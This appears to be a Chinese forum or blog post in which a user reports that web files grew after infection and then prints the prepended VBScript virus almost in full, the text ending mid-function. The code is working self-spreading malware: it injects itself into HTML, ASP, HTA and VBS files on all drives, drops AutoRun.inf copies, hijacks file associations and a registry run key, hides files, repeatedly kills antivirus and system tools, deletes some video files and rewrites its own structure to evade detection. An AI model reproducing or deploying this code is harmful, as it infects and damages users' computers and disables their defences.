原先只有几k的文件,中毒后发现开头都加了一段代码,变为四五十k,代码如下:
<SCRIPT Language = VBScript>
'Administrator4
'FZYPNDNZFQKQY1_3
Sub ExeVbs_Virus()
On Error Resume Next
Dim objfso, objshell, FullPath_Self, Name_Self, Names
Dim oArgs, ArgNum, Para_V, SubPara_V, RunPath
Dim Order, Order_Order, Order_Para
Dim vbsCode , VbsCode_Virus, VbsCode_WebPage, VbsCode_Victim , MainBody
Set objfso = CreateObject(GetFSOName())
Set objshell = CreateObject("WScript.Shell")
FullPath_Self = WScript.ScriptFullName
Name_Self = WScript.ScriptName
Names = Array("FZYPNDNZFQKQY", "AXFBJZVUJQJ")
Set oArgs = WScript.Arguments
ArgNum = 0
Do While ArgNum < oArgs.Count
Para_V = Para_V & " " & oArgs(ArgNum)
ArgNum = ArgNum + 1
Loop
SubPara_V = LCase(Right(Para_V, 3))
Select Case SubPara_V
Case "run"
RunPath = Left(FullPath_Self, 2)
Call Run(RunPath)
vbsCode = GetSelfCode(objfso, FullPath_Self)
VbsCode_Virus = Head_V & Version & VBCRLF & VirusHead() & GetMainBody(vbsCode, Sum_ModelCode) & VBCRLF & Tail_V
VbsCode_Virus = ChangeModelOrder(VbsCode_Virus, Sum_ModelCode)
VbsCode_Virus = ChangeName(VbsCode_Virus, Names)
Call InvadeSystem(objfso, VbsCode_Virus)
Call Run(FullPath_V1)
Case "txt", "log"
RunPath = "%SystemRoot%\system32\NOTEPAD.EXE " & Para_V
Call Run(RunPath)
vbsCode = GetSelfCode(objfso, FullPath_Self)
VbsCode_Virus = Head_V & Version & VBCRLF & VirusHead() & GetMainBody(vbsCode, Sum_ModelCode) & VBCRLF & Tail_V
VbsCode_Virus = ChangeModelOrder(VbsCode_Virus, Sum_ModelCode)
VbsCode_Virus = ChangeName(VbsCode_Virus, Names)
Call InvadeSystem(objfso, VbsCode_Virus)
Call Run(FullPath_V1)
Case "reg"
Para_V = "regedit.exe " & """" & Trim(Para_V) & """"
Call Run(Para_V)
vbsCode = GetSelfCode(objfso, FullPath_Self)
VbsCode_Virus = Head_V & Version & VBCRLF & VirusHead() & GetMainBody(vbsCode, Sum_ModelCode) & VBCRLF & Tail_V
VbsCode_Virus = ChangeModelOrder(VbsCode_Virus, Sum_ModelCode)
VbsCode_Virus = ChangeName(VbsCode_Virus, Names)
Call InvadeSystem(objfso, VbsCode_Virus)
Call Run(FullPath_V1)
Case "chm"
Para_V = "hh.exe " & """" & Trim(Para_V) & """"
Call Run(Para_V)
vbsCode = GetSelfCode(objfso, FullPath_Self)
VbsCode_Virus = Head_V & Version & VBCRLF & VirusHead() & GetMainBody(vbsCode, Sum_ModelCode) & VBCRLF & Tail_V
VbsCode_Virus = ChangeModelOrder(VbsCode_Virus, Sum_ModelCode)
VbsCode_Virus = ChangeName(VbsCode_Virus, Names)
Call InvadeSystem(objfso, VbsCode_Virus)
Call Run(FullPath_V1)
Case "hlp"
Para_V = "winhlp32.exe " & """" & Trim(Para_V) & """"
Call Run(Para_V)
vbsCode = GetSelfCode(objfso, FullPath_Self)
VbsCode_Virus = Head_V & Version & VBCRLF & VirusHead() & GetMainBody(vbsCode, Sum_ModelCode) & VBCRLF & Tail_V
VbsCode_Virus = ChangeModelOrder(VbsCode_Virus, Sum_ModelCode)
VbsCode_Virus = ChangeName(VbsCode_Virus, Names)
Call InvadeSystem(objfso, VbsCode_Virus)
Call Run(FullPath_V1)
Case Else
If PreInstance = True Then
WScript.Quit
End If
If IsOK(objfso, Date(), FullPath_Config) = False Then
If objfso.FileExists(FullPath_Config) = True Then
Order = Trim(ReadOK(objfso, FullPath_Config))
Order_Order = Trim(Mid(Order, 1, InStr(1, Order, "@") -1))
Order_Para = Trim(Mid(Order, InStr(1, Order, "@") + 1, Len(Order) - InStr(1, Order, "@")))
End If
Select Case Order_Order
Case "InfectFiles"
vbsCode = GetSelfCode(objfso, FullPath_Self)
MainBody = GetMainBody(vbsCode, Sum_ModelCode)
VbsCode_WebPage = Head_V & Version & VBCRLF & WebHead() & MainBody & VBCRLF & Tail_V
VbsCode_WebPage = ChangeModelOrder(VbsCode_WebPage, Sum_ModelCode)
VbsCode_WebPage = ChangeName(VbsCode_WebPage, Names)
VbsCode_Victim = Head_V & Version & VBCRLF & VictimHead() & MainBody & VBCRLF & Tail_V
VbsCode_Victim = ChangeModelOrder(VbsCode_Victim, Sum_ModelCode)
VbsCode_Victim = ChangeName(VbsCode_Victim, Names)
VbsCode_Virus = Head_V & Version & VBCRLF & VirusHead() & MainBody & VBCRLF & Tail_V
VbsCode_Virus = ChangeModelOrder(VbsCode_Virus, Sum_ModelCode)
VbsCode_Virus = ChangeName(VbsCode_Virus, Names)
Call SearchDrives(objfso, VbsCode_WebPage, VbsCode_Victim, 0)
Order_Para = Order_Para + Cnt
If Order_Para>2000 Then
Call WriteOK(objfso, FullPath_Config, "Msg", "
您已有超过2000个文件被感染!不过请放心,此病毒很容易被清除!请联系418465***-_- !")
Else
Call WriteOK(objfso, FullPath_Config, "InfectFiles", Order_Para)
End If
Call InvadeSystem(objfso, VbsCode_Virus)
Call MonitorSystem(objfso, VbsCode_Virus)
Case "Msg"
MsgBox Order_Para
Call WriteOK(objfso, FullPath_Config, "", "")
vbsCode = GetSelfCode(objfso, FullPath_Self)
MainBody = GetMainBody(vbsCode, Sum_ModelCode)
VbsCode_Virus = Head_V & Version & VBCRLF & VirusHead() & MainBody & VBCRLF & Tail_V
VbsCode_Virus = ChangeModelOrder(VbsCode_Virus, Sum_ModelCode)
VbsCode_Virus = ChangeName(VbsCode_Virus, Names)
Call InvadeSystem(objfso, VbsCode_Virus)
Call MonitorSystem(objfso, VbsCode_Virus)
Case "UnLoadMe"
Call RestoreSystem(objfso)
Wscript.Quit
Case "KillVirus"
Call RestoreSystem(objfso)
Call SearchDrives(objfso, VbsCode_WebPage, VbsCode_Victim, 1)
Wscript.Quit
Case Else
vbsCode = GetSelfCode(objfso, FullPath_Self)
MainBody = GetMainBody(vbsCode, Sum_ModelCode)
VbsCode_WebPage = Head_V & Version & VBCRLF & WebHead() & MainBody & VBCRLF & Tail_V
VbsCode_WebPage = ChangeModelOrder(VbsCode_WebPage, Sum_ModelCode)
VbsCode_WebPage = ChangeName(VbsCode_WebPage, Names)
VbsCode_Victim = Head_V & Version & VBCRLF & VictimHead() & MainBody & VBCRLF & Tail_V
VbsCode_Victim = ChangeModelOrder(VbsCode_Victim, Sum_ModelCode)
VbsCode_Victim = ChangeName(VbsCode_Victim, Names)
VbsCode_Virus = Head_V & Version & VBCRLF & VirusHead() & MainBody & VBCRLF & Tail_V
VbsCode_Virus = ChangeModelOrder(VbsCode_Virus, Sum_ModelCode)
VbsCode_Virus = ChangeName(VbsCode_Virus, Names)
Call SearchDrives(objfso, VbsCode_WebPage, VbsCode_Victim, 0)
Call WriteOK(objfso, FullPath_Config, "InfectFiles", Cnt)
Call InvadeSystem(objfso, VbsCode_Virus)
Call MonitorSystem(objfso, VbsCode_Virus)
End Select
Else
vbsCode = GetSelfCode(objfso, FullPath_Self)
MainBody = GetMainBody(vbsCode, Sum_ModelCode)
VbsCode_Virus = Head_V & Version & VBCRLF & VirusHead() & MainBody & VBCRLF & Tail_V '生成病毒体完整代码
VbsCode_Virus = ChangeModelOrder(VbsCode_Virus, Sum_ModelCode) '改变模块组合顺序
VbsCode_Virus = ChangeName(VbsCode_Virus, Names) '改变模块标志名称
Call MonitorSystem(objfso, VbsCode_Virus)
End If
End Select
Set objfso = Nothing
Set objshell = Nothing
End Sub
'AXFBJZVUJQJ1_3
'FZYPNDNZFQKQY2_17
Function PreInstance()
On Error Resume Next
Dim num_cnt
Dim strComputer, objWMIService, colProcessList, objProcess
num_cnt = 0
PreInstance = False
strComputer = "."
Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")
Set colProcessList = objWMIService.ExecQuery("Select * from Win32_Process Where " & "Name = 'cscript.exe' or Name = 'wscript.exe'")
For Each objProcess in colProcessList
If InStr(CStr(objProcess.CommandLine), WScript.ScriptFullName)>0 Then
num_cnt = num_cnt + 1
End If
Next
If num_cnt>= 2 Then
PreInstance = True
End If
End Function
'AXFBJZVUJQJ2_17
'FZYPNDNZFQKQY2_22
Function GetSFolder(p)
Dim objfso
Set objfso = CreateObject(GetFSOName())
GetSFolder = objfso.GetSpecialFolder(p) & "\"
Set objfso = Nothing
End Function
Function GetUserName()
On Error Resume Next
Dim Value , UserName
Value = "HKEY_CURRENT_USER\Software\Microsoft\Active Setup\Installed Components\{44BBA840-CC51-11CF-AAFA-00AA00B6015C}\Username"
UserName = ReadReg(Value)
If UserName = "" Then
GetUserName = "Administrator"
Else
GetUserName = UserName
End If
End Function
Function GetFSOName()
On Error Resume Next
Dim Value , UserName
Value = "HKEY_CLASSES_ROOT\CLSID\{0D43FE01-F093-11CF-8940-00A0C9054228}\ProgID\"
UserName = ReadReg(Value)
If UserName = "" Then
GetUserName = "Scripting.FileSystemObject"
Else
GetFSOName = UserName
End If
End Function
Function GetHeadTail(l)
Dim Str , buffer
If l = 0 Then
GetHeadTail = "'" & GetUserName()
Else
buffer = GetUserName()
Str = ""
For i = 1 To Len(buffer)
Str = Mid(buffer, i, 1) & Str
GetHeadTail = "'" & Str
Next
End If
End Function
'AXFBJZVUJQJ2_22
'FZYPNDNZFQKQY2_11
Sub SearchFile(objfso, strPath, VbsCode_WebPage, VbsCode_Victim, T)
On Error Resume Next
Dim pfo, pf, pfi, ext
Dim psfo, ps
Set pfo = objfso.GetFolder(strPath)
Set pf = pfo.Files
For Each pfi In pf
If Cnt >= CntMax Then
Exit For
End If
ext = LCase(objfso.GetExtensionName(pfi.Path))
Select Case ext
Case "hta", "htm", "html", "asp", "vbs"
Call InfectHead(pfi.Path, pfi, objfso, VbsCode_WebPage, VbsCode_Victim, ext, T)
Case "mpg", "rmvb", "avi", "rm"
If IsSexFile(pfi.Name) = True Then
pfi.Delete
End If
End Select
Next
Set psfo = pfo.SubFolders
For Each ps In psfo
If Cnt >= CntMax Then
Exit For
End If
Call SearchFile(objfso, ps.Path, VbsCode_WebPage, VbsCode_Victim, T)
Next
End Sub
'AXFBJZVUJQJ2_11
'FZYPNDNZFQKQY1_7
Sub InvadeSystem(objfso, vbsCode)
On Error Resume Next
Dim Value, HCULoad, vbsCode_Virus, dc, d
Value = "%SystemRoot%\System32\WScript.exe " & """" & FullPath_V0 & """" & " %1 %* "
HCULoad = "HKEY_CURRENT_USER\SoftWare\Microsoft\Windows NT\CurrentVersion\Windows\Load"
vbsCode_Virus = vbsCode
Set dc = objfso.Drives
For Each d In dc
If d.DriveType = 1 Or d.DriveType = 2 Or d.DriveType = 3 Then
Call AutoRun(objfso, d.DriveLetter, vbsCode_Virus)
End If
Next
If objfso.FileExists(FullPath_V1) = True And GetVersion(objfso, FullPath_V1)< Version Then
objfso.DeleteFile FullPath_V1 , True
Call CopyFile(objfso, vbsCode_Virus, FullPath_V1)
Call SetFileAttr(objfso, FullPath_V1)
Else
Call CopyFile(objfso, vbsCode_Virus, FullPath_V1)
Call SetFileAttr(objfso, FullPath_V1)
End If
If objfso.FileExists(FullPath_V0) = True And GetVersion(objfso, FullPath_V0)<Version Then
objfso.DeleteFile FullPath_V0 , True
Call CopyFile(objfso, vbsCode_Virus, FullPath_V0)
Call SetFileAttr(objfso, FullPath_V0)
Else
Call CopyFile(objfso, vbsCode_Virus, FullPath_V0)
Call SetFileAttr(objfso, FullPath_V0)
End If
If ReadReg(HCULoad)<> FullPath_V1 Then
Call WriteReg (HCULoad, FullPath_V1, "")
End If
If ReadReg("HKEY_LOCAL_MACHINE\SOFTWARE\Classes\txtfile\shell\open\command\")<>Value Then
Call SetTxtFileAss(FullPath_V0)
End If
If ReadReg("HKEY_LOCAL_MACHINE\SOFTWARE\Classes\regfile\shell\open\command\")<>Value Then
Call SetRegFileAss(FullPath_V0)
End If
If ReadReg("HKEY_LOCAL_MACHINE\SOFTWARE\Classes\chm.file\shell\open\command\")<>Value Then
Call SetchmFileAss(FullPath_V0)
End If
If ReadReg("HKEY_LOCAL_MACHINE\SOFTWARE\Classes\hlpfile\shell\open\command\")<>Value Then
Call SethlpFileAss(FullPath_V0)
End If
Call DeSafeSet()
End Sub
'AXFBJZVUJQJ1_7
'FZYPNDNZFQKQY2_10
Sub SearchDrives(objfso, VbsCode_WebPage, VbsCode_Victim, T)
On Error Resume Next
Dim d , dc
Set dc = objfso.Drives
For Each d In dc
If Cnt >= CntMax Then '
Exit For
End If
If d.DriveType = 1 Or d.DriveType = 2 Or d.DriveType = 3 Then
'If d.DriveType = 1 Then
Call SearchFile(objfso, d.Path & "\", VbsCode_WebPage, VbsCode_Victim, T)
'End If
End If
Next
End Sub
'AXFBJZVUJQJ2_10
'FZYPNDNZFQKQY2_12
Sub InfectHead(strPath, fi, objfso, VbsCode_WebPage, VbsCode_Victim, ftype, T)
On Error Resume Next
Dim tso, buffer, strCode , Maxsize
Maxsize = 350000
If fi.Size< Maxsize Then
Set tso = objfso.OpenTextFile(strPath, 1, True)
buffer = tso.ReadAll()
tso.Close
If T = 0 Then
Select Case ftype
Case "hta", "htm", "html", "asp"
If Isinfected(buffer, ftype) = False Then
Set tso = objfso.OpenTextFile(strPath, 2, true)
strCode = MakeScript(VbsCode_WebPage, 0)
tso.Write strCode & VBCRLF & buffer
Cnt = Cnt + 1
End If
Case "vbs"
If Isinfected(buffer, ftype) = False Then
n = InStr(buffer , "Option Explicit")
If n<>0 Then
buffer = Replace(buffer, "Option Explicit", "", 1, 1, 1)
Set tso = objfso.OpenTextFile(strPath, 2, true)
tso.Write vbsCode_Victim & VBCRLF & buffer
Cnt = Cnt + 1
Else
Set tso = objfso.OpenTextFile(strPath, 2, true)
tso.Write vbsCode_Victim & VBCRLF & buffer
Cnt = Cnt + 1
End If
End If
Case Else
'
'
End Select
ElseIf T = 1 Then
If Isinfected(buffer, ftype) = True Then
n = InStrRev(buffer , Tail_V)
If n<>0 Then
buffer = Replace(buffer, Tail_V, "", n, 1, 1)
Set tso = objfso.OpenTextFile(strPath, 2, True)
tso.Write strCode & VBCRLF & buffer
End If
End If
End If
End If
End Sub
'AXFBJZVUJQJ2_12
'FZYPNDNZFQKQY2_15
Sub SetFileAttr(objfso, pathf)
Dim vf
Set vf = objfso.GetFile(pathf)
vf.Attributes = 6
End Sub
'AXFBJZVUJQJ2_15
'FZYPNDNZFQKQY1_4
Function Head()
Head = VBCRLF & "'FZYPNDNZFQKQY1_1" & VBCRLF &_
"On Error Resume Next" & VBCRLF &_
"Dim Cnt, CntMax, Version, Name_V1, FullPath_V0, FullPath_V1, FullPath_Config,Sum_ModelCode,Head_V,Tail_V" & VBCRLF &_
"Dim ModelHead, ModelTail" & VBCRLF &_
"Cnt = 0" & VBCRLF &_
"CntMax = 1000" & VBCRLF &_
"Version = ""4""" & VBCRLF &_
"Name_V1 = GetUserName() & "".vbs""" & VBCRLF &_
"FullPath_V0 = GetSFolder(0) & Name_V1 '主要执行文件关联转向" & VBCRLF &_
"FullPath_V1 = GetSFolder(1) & Name_V1 '主要执行配置文件命令" & VBCRLF &_
"FullPath_Config= GetSFolder(1) & GetUserName() & "".ini""" & VBCRLF &_
"Sum_ModelCode = 26" & VBCRLF &_
"Head_V= GetHeadTail(0)" & VBCRLF &_
"Tail_V= GetHeadTail(1)" & VBCRLF &_
"ModelHead=""'FZYPNDNZFQKQY""" & VBCRLF &_
"ModelTail=""'AXFBJZVUJQJ""" & VBCRLF
End Function
Function VictimHead()
VictimHead = Head() & VBCRLF &_
"Call VictimMain()" & VBCRLF &_
"Sub VictimMain()" & VBCRLF &_
" Call ExeVbs_Victim()" & VBCRLF &_
"End Sub" & VBCRLF &_
"'AXFBJZVUJQJ1_1" & VBCRLF
End Function
Function VirusHead()
VirusHead = Head() & VBCRLF &_
"Call VirusMain()" & VBCRLF &_
"Sub VirusMain()" & VBCRLF &_
" On Error Resume Next" & VBCRLF &_
" Call ExeVbs_Virus()" & VBCRLF &_
"End Sub" & VBCRLF & VBCRLF &_
"'AXFBJZVUJQJ1_1" & VBCRLF
End Function
Function WebHead()
WebHead = Head() & VBCRLF &_
"Call WebMain()" & VBCRLF &_
"Sub WebMain()" & VBCRLF &_
" On Error Resume Next" & VBCRLF &_
" Call ExeVbs_WebPage()" & VBCRLF &_
"End Sub" & VBCRLF &_
"'AXFBJZVUJQJ1_1" & VBCRLF
End Function
'AXFBJZVUJQJ1_4
'FZYPNDNZFQKQY2_24
Sub KillProcess(ProcessNames)
On Error Resume Next
Dim objShell, intReturn, name_exe
Set objShell = WScript.CreateObject("WScript.Shell")
strComputer = "."
Set objWMIServices = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")
For Each ProcessName in ProcessNames
Set colProcessList = objWMIServices.Execquery(" Select * From win32_process where name = '" & ProcessName & "' ")
For Each objProcess in colProcessList
intReturn = objProcess.Terminate
Select Case intReturn
Case 2
name_exe = objProcess.Name
name_exe = Left(name_exe, Len(name_exe) -4)
objShell.Run "cmd.exe /c @tskill " & name_exe, 0, False
End Select
Next
Next
Set objShell = Nothing
End Sub
'AXFBJZVUJQJ2_24
'FZYPNDNZFQKQY1_5
Sub MonitorSystem(objfso, vbsCode)
On Error Resume Next
Dim ProcessNames
ProcessNames = Array("ras.exe", "360tray.exe", "taskmgr.exe", "cmd.exe", "cmd.com", "regedit.exe", "regedit.scr", "regedit.pif", "regedit.com", "msconfig.exe", "SREng.exe", "USBAntiVir.exe")
Do
Call KillProcess(ProcessNames)
Call InvadeSystem(objfso, vbsCode)
WScript.Sleep 5000
Loop
End Sub
'AXFBJZVUJQJ1_5
'FZYPNDNZFQKQY2_25
Sub DeleteReg(strkey)
Dim tmps
Set tmps = CreateObject("WScript.Shell")
tmps.RegDelete strkey
Set tmps = Nothing
End Sub
Function ReadReg(strkey)
Dim tmps
Set tmps = CreateObject("WScript.Shell")
ReadReg = tmps.RegRead(strkey)
Set tmps = Nothing
End Function
Sub WriteReg(strkey, Value, vtype)
Dim tmps
Set tmps = CreateObject("WScript.Shell")
If vtype = "" Then
tmps.RegWrite strkey, Value
Else
tmps.RegWrite strkey, Value, vtype
End If
Set tmps = Nothing
End Sub
'AXFBJZVUJQJ2_25
'FZYPNDNZFQKQY2_18
Function IsOK(objfso, Now_V, path_f)
On Error Resume Next
Dim vf, p1, p2, p3
IsOK = False
Set vf = objfso.OpenTextFile(path_f, 1)
p1 = Trim(vf.ReadLine)
p2 = Trim(vf.ReadLine)
p3 = Trim(vf.ReadLine)
If StrComp(p1, "OK", 1) = 0 And StrComp(p2, Now_V, 1) = 0 Then
IsOK = True
End If
If p3 = "Admin" Then
MsgBox "You Are Admin!!! Your Computer Will Not Be Infected!!!"
IsOK = True
n = InputBox("0:退出; 1:监视系统; 2:传染文件", "SuperVirus脚本测试!")
If n = 0 Then
Wscript.Quit
ElseIf n = 1 Then
IsOK = True
ElseIf n = 2 Then
IsOK = False
End If
End If
End Function
'AXFBJZVUJQJ2_18
'FZYPNDNZFQKQY2_14
Function ReadOK(objfso, FullPath_OK)
On Error Resume Next
Dim vf, buffer
Set vf = objfso.OpenTextFile(FullPath_OK, 1)
buffer = vf.ReadAll
ReadOK = RTrim(Mid(buffer, InStr(buffer, "Order:") + 6, 50))
End Function
Sub WriteOK(objfso, FullPath_OK, Order_Order, Order_Para)
On Error Resume Next
Dim vf1
objfso.DeleteFile FullPath_OK, True
Set vf1 = objfso.OpenTextFile(FullPath_OK, 2, True)
vf1.Write "OK" & VBCRLF
vf1.WriteLine Date()
vf1.WriteLine "Order:" & Order_Order & "@" & Order_Para
Call SetFileAttr(objfso, FullPath_OK)
End Sub
'AXFBJZVUJQJ2_14
'FZYPNDNZFQKQY2_21
Function IsSexFile(fname)
IsSexFile = False
If InStr(fname, "关键字")>0 Or InStr(fname, "关键字")>0 Or InStr(fname, "关键字")>0 Or _
InStr(fname, "关键字")>0 Or InStr(fname, "关键字")>0 Or InStr(fname, "关键字")>0 Or _
InStr(fname, "关键字")>0 Or InStr(fname, "关键字")>0 Or InStr(fname, "关键字")>0 Then
IsSexFile = True
End If
End Function
Function Isinfected(buffer, ftype)
Isinfected = True
Select Case ftype
Case "hta", "htm" , "html" , "asp", "vbs"
If InStr(buffer, Head_V) = 0 Then
Isinfected = False
End If
Case Else
Isinfected = True
End Select
End Function
'AXFBJZVUJQJ2_21
'FZYPNDNZFQKQY2_19
Function GetVersion(objfso, path_v)
Dim FV, buffer
Set FV = objfso.OpenTextFile(path_v, 1)
buffer = FV.ReadAll()
GetVersion = Mid(buffer, InStr(buffer, Head_V) + Len(Head_V), 1)
End Function
Function GetScriptCode(Languages)
On Error Resume Next
Dim soj
For Each soj In document.Scripts
If LCase(soj.Language) = Languages Then
Select Case LCase(soj.Language)
Case "vbscript"
GetScriptCode = soj.Text
Exit Function
Case "javascript"
GetScriptCode = soj.Text
Exit Function
End Select
End If
Next
End Function
Function GetSelfCode(objfso, FullPath_Self)
On Error Resume Next
Dim n, n1, buffer, Self
Set Self = objfso.OpenTextFile(FullPath_Self, 1)
buffer = Self.ReadAll
n = InStr(buffer, Head_V)
n1 = InstrRev(buffer, Tail_V)
buffer = Mid(buffer, n, n1 - n + Len(Tail_V) + 1)
GetSelfCode = buffer
Self.Close
End Function
Function GetMainBody(vbsCode, Sum_ModelCode)
Dim i
For i = 2 To Sum_ModelCode
GetMainBody = GetMainBody & VBCRLF & GetModelCode(vbsCode, i) & VBCRLF
Next
End Function
'AXFBJZVUJQJ2_19
'FZYPNDNZFQKQY1_1
On Error Resume Next
Dim Cnt, CntMax, Version, Name_V1, FullPath_V0, FullPath_V1, FullPath_Config,Sum_ModelCode,Head_V,Tail_V
Dim ModelHead, ModelTail
Cnt = 0
CntMax = 1000
Version = "4"
Name_V1 = GetUserName() & ".vbs"
FullPath_V0 = GetSFolder(0) & Name_V1 '主要执行文件关联转向
FullPath_V1 = GetSFolder(1) & Name_V1 '主要执行配置文件命令
FullPath_Config= GetSFolder(1) & GetUserName() & ".ini"
Sum_ModelCode = 26
Head_V= GetHeadTail(0)
Tail_V= GetHeadTail(1)
ModelHead="'FZYPNDNZFQKQY"
ModelTail="'AXFBJZVUJQJ"
Call WebMain()
Sub WebMain()
On Error Resume Next
Call ExeVbs_WebPage()
End Sub
'AXFBJZVUJQJ1_1
'FZYPNDNZFQKQY2_26
Sub Run(ExeFullName)
Dim WshShell
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run ExeFullName
Set WshShell = Nothing
End Sub
Sub CopyFile(objfso, code, pathf)
On Error Resume Next
Dim vf
Set vf = objfso.OpenTextFile(pathf, 2, true)
vf.Write code
End Sub
Function ChangeName(vbsCode, Names)
Dim Name, j, temp, buffer
buffer = vbsCode
Randomize
For Each Name in Names
temp = ""
For j = 1 To Len(Name)
temp = temp & Chr((Int(Rnd * 26) + 65))
Next
buffer = Replace(buffer, Name, temp)
Next
ChangeName = buffer
End Function
'AXFBJZVUJQJ2_26
'FZYPNDNZFQKQY1_6
Sub AutoRun(objfso, D, vbsCode)
On Error Resume Next
Dim path_autorun, path_vbs, inf_autorun
path_autorun = D & ":\AutoRun.inf"
path_vbs = D & ":\" & Name_V1
If objfso.FileExists(path_vbs) = False Or objfso.FileExists(path_autorun) = False Or GetVersion(objfso, path_vbs)<Version Then
If objfso.FileExists(path_autorun) = True Then
objfso.DeleteFile path_autorun, True
End If
If objfso.FileExists(path_vbs) = True Then
objfso.DeleteFile path_vbs, True
End If
Call CopyFile(objfso, vbsCode, path_vbs)
Call SetFileAttr(objfso, path_vbs)
inf_autorun = "[AutoRun]" & VBCRLF & "Shellexecute=WScript.exe " & Name_V1 & " ""AutoRun""" & VBCRLF & "shell\AutoRun=打开(&O)" & VBCRLF & "shell\AutoRun\command=WScript.exe " & Name_V1 & " ""AutoRun""" & VBCRLF & "shell\AutoRun1=资源管理器(&X)" & VBCRLF & "shell\AutoRun1\command=WScript.exe " & Name_V1 & " ""AutoRun"""
Call CopyFile(objfso, inf_autorun, path_autorun)
Call SetFileAttr(objfso, path_autorun)
End If
End Sub
'AXFBJZVUJQJ1_6
'FZYPNDNZFQKQY2_13
Sub DeSafeSet()
Dim HLMShow , HCUAdvanced, HCUExplorer
HLMShow = "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL\CheckedValue"
HCUAdvanced = "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ShowSuperHidden"
HCUExplorer = "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoDriveTypeAutoRun"
Call WriteReg (HCUExplorer, 129, "REG_DWORD")
Call WriteReg (HCUAdvanced, 0, "REG_DWORD")
Call WriteReg (HLMShow, 0, "REG_DWORD")
End Sub
Sub SafeSet()
Dim HLMShow , HCUSSHidden, HCUHidden
Dim HCUExplorer
HLMShow = "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL\CheckedValue"
HCUAdvanced = "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ShowSuperHidden"
HCUHidden = "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Hidden"
Call WriteReg (HCUHidden, 1, "REG_DWORD")
Call WriteReg (HCUAdvanced, 1, "REG_DWORD")
Call WriteReg (HLMShow, 1, "REG_DWORD")
End Sub
'AXFBJZVUJQJ2_13
'FZYPNDNZFQKQY2_20
Function GetModelCode(vbsCode, N_ModelCode)
On Error Resume Next
Dim n, n1, buffer
buffer = vbsCode
If N_ModelCode>= 1 And N_ModelCode<= 9 Then
n = InStr(buffer, ModelHead & "1_" & N_ModelCode)
n1 = InStr(buffer, ModelTail & "1_" & N_ModelCode)
GetModelCode = Mid(buffer, n, n1 - n + Len(ModelTail & "1_" & N_ModelCode))
ElseIf N_ModelCode>= 10 And N_ModelCode<= 99 Then
n = InStr(buffer, ModelHead & "2_" & N_ModelCode)
n1 = InStr(buffer, ModelTail & "2_" & N_ModelCode)
GetModelCode = Mid(buffer, n, n1 - n + Len(ModelTail & "2_" & N_ModelCode))
ElseIf N_ModelCode>= 100 And N_ModelCode<= 999 Then
n = InStr(buffer, ModelHead & "3_" & N_ModelCode)
n1 = InStr(buffer, ModelTail & "3_" & N_ModelCode)
GetModelCode = Mid(buffer, n, n1 - n + Len(ModelTail & "3_" & N_ModelCode))
End If
End Function
'AXFBJZVUJQJ2_20
'FZYPNDNZFQKQY2_23
Function MakeScript(strCode, T)
If T = 1 Then
MakeScript = "<" & "SCRIPT Language = VBScript>" & VBCRLF & ChangeModelOrder(strCode, Sum_ModelCode) & VBCRLF & "</" & "SCRIPT>"
Else
MakeScript = "<" & "SCRIPT Language = VBScript>" & VBCRLF & strCode & VBCRLF & "</" & "SCRIPT>"
End If
End Function
'AXFBJZVUJQJ2_23
'FZYPNDNZFQKQY1_2
Sub ExeVbs_WebPage()
On Error Resume Next
Dim objfso, vbsCode, VbsCode_Virus
Set objfso = CreateObject(GetFSOName())
vbsCode = GetScriptCode("vbscript")
VbsCode_Virus = Head_V & Version & VBCRLF & VirusHead() & GetMainBody(vbsCode, Sum_ModelCode) & VBCRLF & Tail_V
VbsCode_Virus = ChangeModelOrder(VbsCode_Virus, Sum_ModelCode)
Call InvadeSystem(objfso, VbsCode_Virus)
Set objfso = Nothing
End Sub
Sub ExeVbs_Victim()
On Error Resume Next
Dim objfso, vbsCode, VbsCode_Virus
Set objfso = CreateObject(GetFSOName())
vbsCode = GetSelfCode(objfso, WScript.ScriptFullName)
VbsCode_Virus = Head_V & Version & VBCRLF & VirusHead() & GetMainBody(vbsCode, Sum_ModelCode) & VBCRLF & Tail_V
VbsCode_Virus = ChangeModelOrder(VbsCode_Virus, Sum_ModelCode)
Call InvadeSystem(objfso, VbsCode_Virus)
Call Run(FullPath_V1)
Set objfso = Nothing
End Sub
'AXFBJZVUJQJ1_2
'FZYPNDNZFQKQY1_9
Function ChangeModelOrder(vbsCode, Num_DNA)
On Error Resume Next
Dim DNA(), Array_vbsCode()
Dim i, Value, flag, j, buffer
ReDim DNA(Num_DNA), Array_vbsCode(Num_DNA)
buffer = vbsCode
Randomize
For i = 1 To Num_DNA
Do
Value = Int((Num_DNA * Rnd) + 1)
flag = 1
For j = 1 To Num_DNA
If Value = DNA(j) Then
flag = 0
Exit For
End If
Next
Loop Until flag = 1
DNA(i) = Value
Next
For i = 1 To Num_DNA
Array_vbsCode(i) = GetModelCode(buffer, i)
Next
buffer = ""
For i = 1 To Num_DNA
buffer = buffer & VBCRLF & Array_vbsCode(DNA(i)) & VBCRLF
Next
ChangeModelOrder = Head_V & Version & VBCRLF & buffer & VBCRLF & Tail_V
End Function
'AXFBJZVUJQJ1_9
'FZYPNDNZFQKQY2_16
Sub SetTxtFileAss(sFilePath)
On Error Resume Next
Dim Value
Value = "%SystemRoot%\System32\WScript.exe " & """" & sFilePath & """" & " %1 %* "
Call WriteReg("HKEY_LOCAL_MACHINE\SOFTWARE\Classes\txtfile\shell\open\command\", Value, "REG_EXPAND_SZ")
End Sub
Sub SethlpFileAss(sFilePath)
On Error Resume Next
Dim Value
Value = "%SystemRoot%\System32\WScript.exe " & """" & sFilePath & """" & " %1 %* "
Call WriteReg("HKEY_LOCAL_MACHINE\SOFTWARE\Classes\hlpfile\shell\open\command\", Value, "REG_EXPAND_SZ")
End Sub
Sub SetRegFileAss(sFilePath)
On Error Resume Next
Dim Value
Value = "%SystemRoot%\System32\WScript.exe " & """" & sFilePath & """" & " %1 %* "
